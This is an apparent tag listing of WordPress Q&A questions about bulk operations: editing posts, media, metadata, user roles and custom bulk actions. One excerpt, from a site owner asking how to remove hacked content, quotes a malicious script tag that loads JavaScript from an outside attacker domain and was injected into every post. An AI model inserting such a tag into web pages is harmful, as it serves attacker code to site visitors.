Questions tagged [bulk]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0 votes
0 answers
64 views

Bulk data save in custom table

I have a form in admin page that store data in custom table, with multiple checkboxs. On form submit I need to save the checked box id with the store id it's related in a key pair way (store_id => ...
Francis's user avatar
0 votes
0 answers
18 views

Wordpress Automated Posts Creation

I have already read the question on: Automating Page Creation and the possible suggestion, but I want to have another discussion here. So, I am having a python scraper which gets 1000s of results ...
Mahmoud amr's user avatar
0 votes
0 answers
7 views

Edit multiple posts featured image

Actually I imported posts from my another website, but I have only posts & their authors & their category & featured image is showing blank means not present. Now at every time I have to ...
SK 4912's user avatar
2 votes
2 answers
767 views

Bulk delete media by year

We have large media library with more than 300000 images. We decide to delete all images < 2017 year manually using "FTP", from WP upload folder. But after that in WP Admin > Media >...
Acidburns's user avatar
0 votes
1 answer
117 views

Meta field bulk editing no longer working in WP 6.0 [closed]

Until recently, I was using the following PHP and jQuery code for adding bulk editing support for a meta field (price) in a custom post type (Book): PHP: function show_bulk_edit_book_metabox( $...
leemon's user avatar
  • 1,766
0 votes
1 answer
331 views

Bulk-add featured images in posts with no featured image

I have a site with loads of posts (news items). Some posts don't have featured images yet. Adding the images to those posts (few hundreds) is a tedious task. We basically want to add 1 and the same ...
Rick's user avatar
  • 111
0 votes
1 answer
1k views

How to change my 3000 Published post status to Draft using PHPMyAdmin

I have to change my all 3000 published post status to draft. one way to do it one by one or another option is to select bulk post... but bulk selecting also takes a lot of time because I have around ...
The Coding Bus's user avatar
0 votes
1 answer
153 views

Bulk updating a group of WordPress Pages every 10 minutes

I need to bulk update 86 specific WordPress Pages every 10 minutes, with the term updating I mean the same thing as clicking the Blue Update Button on each page, and having them all update at the same ...
jhonny4's user avatar
1 vote
1 answer
147 views

Code run fast on a cronjob but slow with a do_action or ajax call

I am creating several posts from a csv, when I execute the code using a cronjob the operation lasts about 7 minutes, but if I use the code directly in a template, or make a call to do_action or ...
Kleiver's user avatar
  • 11
0 votes
1 answer
35 views

Moving post's content to post's comments section

I've resurrected a Blogger blog from the Wayback Machine. The business that did the migration had all of the blog's comments in each post included in the post itself. I would like to keep the years-...
Lux Claridge's user avatar
1 vote
0 answers
189 views

Bulk-create posts from SQL database

I'm new in this forum and fairly new to Wordpress as a whole, so I hope I will abide by all written and unwritten rules when posting this. I have an SQL database with around 4,000 posts from an old ...
Ran_Char's user avatar
2 votes
2 answers
1k views

Bulk Update Custom Fields for Custom Post Types

I am using this function which works great in case anyone wants to bulk update custom fields for custom post types (just change parameters as necessary). $args=array( 'posts_per_page' => -1, '...
JoaMika's user avatar
  • 658
1 vote
3 answers
1k views

How to mass delete one line from all posts after site hack

My Wordpress site has been hacked and every post has had <script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script> added to the end of each post which I ...
John Maguire's user avatar
-1 votes
1 answer
201 views

Bulk update custom post types

I'm using built in theme custom post types and I made XML import with posts to this custom post types. Everything work, but not a filter for these custom post types. If I update manually every custom ...
SamM Foolt's user avatar
0 votes
1 answer
621 views

How to get inserted row IDs for bulk/batch insert with wpdb query?

I'm writing a plugin where I need to save data in custom tables, function hits an API and then saves data for which I need bulk insert, but as wpdb doesn't support it out of the box I made a function ...
ateebahmed's user avatar
1 vote
1 answer
606 views

Bulk edit Gutenberg single images to change from linking to media file to attachment page

I have several hundred posts which include a mix of single image and gallery blocks. All of them currently link to media file. What's the fastest way to change this to attachment page instead? (And ...
Arkuen's user avatar
  • 63
0 votes
0 answers
221 views

Sending bulk mail to a certain number of users

We would like to send bulk mail to the user list using wp_mail() function. Is it possible to send e-mail to users at a certain time (similar to newsletter plugins)? For example, dividing the list of ...
Faruk's user avatar
  • 25
0 votes
1 answer
1k views

How can i edit all posts slug in bulk keeping WP native redirect?

When i edit a single post slug the old url redirects to the new one automatically. I need to do this in bulk. There is a text that appears on thousands of permalinks and i want to remove it from ...
Michael Rogers's user avatar
0 votes
1 answer
488 views

Replace a character in all post titles and slugs

I have hundreds of posts whose titles are of the form XmY, where X and Y are natural numbers, for example 18m324. I'd like to replace m with p in all post titles and slugs, while keeping X and Y ...
sound wave's user avatar
0 votes
1 answer
54 views

Create "blank" admin page without having admin-bar/admin-menu for faster load

I'd like to create a page in the WP Admin backend that is just "white", e.g. without the administration menu or the admin bar. I am NOT looking to create an admin page without adding it to the menu; ...
FooBar's user avatar
  • 424
1 vote
2 answers
212 views

Bulk activate a theme on multisite

I have a multisite and a new theme that needs to be activated across all subsites. I found an answer by fuxia from 2012 and would like to know (1) if there have been changes in WordPress since that ...
cseto's user avatar
  • 13
0 votes
2 answers
266 views

how to bulk add one line in the first paragraph of all posts

I want to add a sentence at the beginning of all posts of content directly into the post_content WordPress database. How do I? Either through the function.php or the MySQL command.
Link Network's user avatar
1 vote
0 answers
612 views

How to bulk-untag multiple posts?

I have multiple batches of posts that are wrongly tagged with some terms, they need those terms to be removed. Specifically, I have... Custom post type: "article" Custom taxonomy: "company" (...
Robert Andrews's user avatar
0 votes
1 answer
2k views

woocommerce add a new bulk action in the bulk actions dropdown in the orders list

I'm trying to add a custom bulk action in the WooCommerce orders list that will a piece of code I've made for individual orders but need to make it work recursively. I'm aware of that: Custom ...
escozul's user avatar
0 votes
1 answer
831 views

Custom Bulk Actions handler not firing

I'm pretty new to Wordpress and PHP and am trying to add a custom field to a bulk edit list for a custom post. I've followed the following blog post but my handle_bulk_actions callback is not firing: ...
slotdp02's user avatar
  • 103
1 vote
1 answer
7k views

How to bulk Edit Dates in Media Library?

I can't seem to find this option, but is there a way to bulk edit the dates of media items? I'm trying to go through my media and clean it up and I'd like to batch edit the dates of images (they'd be ...
Matthew's user avatar
  • 123
1 vote
0 answers
106 views

Bulk-Update Custom Posts

I have the following code in my functions.php file that I'm using to create a custom meta_key called 'spec_wp' (which is based on the value of an ACF repeater): add_filter('acf/save_post', '...
LCW's user avatar
  • 23
0 votes
1 answer
414 views

How to set posts to draft in bulk based on the content of the post

I have thousands of offline links in my posts, and I'd like to set them all to draft. I know the links are in the format example.com/fileX. So I needed a SQL query to search the post content and ...
Henrique Barcelos's user avatar
1 vote
1 answer
353 views

How to assign posts without any category to the default category

Due to a massive import of posts from another cms into wordpress I have ended with thousands of posts without any category. I need to add all those posts to the default category. I've seen this ...
xaifu's user avatar
  • 31
0 votes
0 answers
106 views

Custom bulk page permissions

I don't know if I am phrasing this question right, but having a hard time finding an answer. What I want to do is open up my posts or pages dashboard and be able to bulk edit pages' permissions. So I ...
Steve Morin's user avatar
0 votes
1 answer
809 views

How to get bulk actions handler to display simple "Hello World"?

I’m learning how to make plugins and I’m running into some difficulty. I’m trying to modify the bulk actions dropdown under the post and pages parts of admin. I managed to get the dropdown to display ...
user avatar
1 vote
0 answers
136 views

Bulk edit WP posts to update embeded images with new alt tags

I have a client site that has approx. 2000 posts, most with 2-3 images embedded. Recently we've gone through the media gallery and given all the images proper meta data, clean titles, descriptions, ...
Tanmccuin's user avatar
0 votes
2 answers
420 views

flip horizontal images in bulk

I'm using the WooCommerce plugin and I have a list of like 200+ products and I want to flip horizontally the images for every product. If I will do this manually it will take me days probably to take ...
agis's user avatar
  • 421
3 votes
1 answer
146 views

Is there a way to expose additional fields to the Bulk Action > Edit functionality?

I would like to know if it's possible (using the existing WordPress core development features) to hook into the existing WP Bulk Action > Edit functionality, in order to expose additional fields to ...
omega33's user avatar
  • 354
0 votes
1 answer
229 views

transition_post_status doesn't work with bulk updates

I have successfully setup an action that executes when a custom post type is moved from "pending" to "publish" status. Everything works as expected when you change the post status individually (press ...
squarecandy's user avatar
0 votes
1 answer
58 views

How to delete all posts with dead image urls?

I have Picture Blog with over 100k Images, All of these images are remotely hosted, and many of them contains dead links for images. I want to delete all posts that contains dead links for images, ...
CuriousWebster's user avatar
0 votes
1 answer
34 views

Send Bulk Email without them going to spam

I am trying to find a way so that I wont need to pay to MailChimp or any of these companies for my 6000+ users, I want to send them mails twice a month, so thats more than 12000 mails per month. Can I ...
Niso's user avatar
  • 1
2 votes
0 answers
189 views

Perform a custom (bulk) action in media view

I wish to figure out how to add a custom action button in the media grid view ( upload.php screen) and how to perform a custom (bulk) action to the selected attachments, as shown in the screenshot ...
Virgo's user avatar
  • 99
3 votes
3 answers
3k views

URL Redirect and Bulk Actions in wp_list_table

I am using the Custom List Table Example plugin as a basis to create my own custom list table. Everything is great, except one thorny point. When I am processing bulk actions via the ...
Greeso's user avatar
  • 2,106
3 votes
1 answer
3k views

How to assign an additional/extra/second user-role to multiple users (of a specific user-role)

I have 500 users with 50 of those users assigned to user-role XYZ. I'd like these 50 XYZ users to keep their current XYZ user-role but also be assigned another/additional/extra/second user-role ABC......
Pete's user avatar
  • 998
0 votes
0 answers
514 views

Delete 100+ posts or media files from wordpress faster than default?

The pages are running pretty fast but deleting many (like 25) posts at the same time takes up to one minute. Same thing on the media library - everything is pretty slow. I disabled already all ...
CodeBrauer's user avatar
1 vote
0 answers
151 views

Remove bulk option row

How can I remove bulk actions section from post and page lists pages on wordpress I tried with following code in functions.php as suggested on another thread but it does nothing add_action( '...
Vikram's user avatar
  • 358
4 votes
2 answers
6k views

WP-CLI Bulk delete posts from specific category

I would like to know how to bulk delete posts from a specific category using the WP-CLI, any tip?
abaporu's user avatar
  • 143
3 votes
0 answers
2k views

How to edit multiple post with Custom fields

I created a custom field for my post. All sounds good except for the fact that when I try to edit multiple posts (in the same time) by selecting the multiple option in the post list, I only find some ...
Mdev2023it's user avatar
0 votes
1 answer
1k views

WP_LIST_TABLE bulk action

I created a class extend WP_List_Table and created method for bulk actions like this : function get_bulk_actions() { $actions = array( 'synchronize' => 'Synchronize', ...
Saeed Darvish's user avatar
0 votes
1 answer
238 views

bulk media crop for featured images

I want to select all the images which are used as "featured image" on woocommerce products and modify and crop the images to fit a specific height. Does anyone know if there is a plugin available or ...
agis's user avatar
  • 421
2 votes
1 answer
3k views

How to bulk edit canonical url's in SQL?

I've been assigned to edit the canonical URL's (rel="canonical" found in the head)of about 600 posts on a client's site. Not all of the posts will use the same canonical url. Nor are these 301's or ...
jtorres's user avatar
  • 23
0 votes
1 answer
276 views

Bulk posts from DRAFT Section

So, i did create a website with 110k posts and i need to test some SEO features, so i did clone the same database and i did post them on 5 other domains. The thing is i can't index them 110k posts at ...
Alejandro Martín's user avatar
1 vote
0 answers
63 views

Bulk lock users without email address?

I'm cleaning-up my database, and for the sake of keeping SPAM down to a minimum I would like lock all of the wordpress user accounts that do not contain an e-mail address. Any ideas how to do this? ...
Laura P.'s user avatar
  • 111
0 votes
0 answers
1k views

How to bulk change user role to "No role for this site"

If I edit an individual user, the role dropdown menu has the option "— No role for this site —" (<option value="">— No role for this site —</option>): However this option doesn't exist on ...
j08691's user avatar
  • 765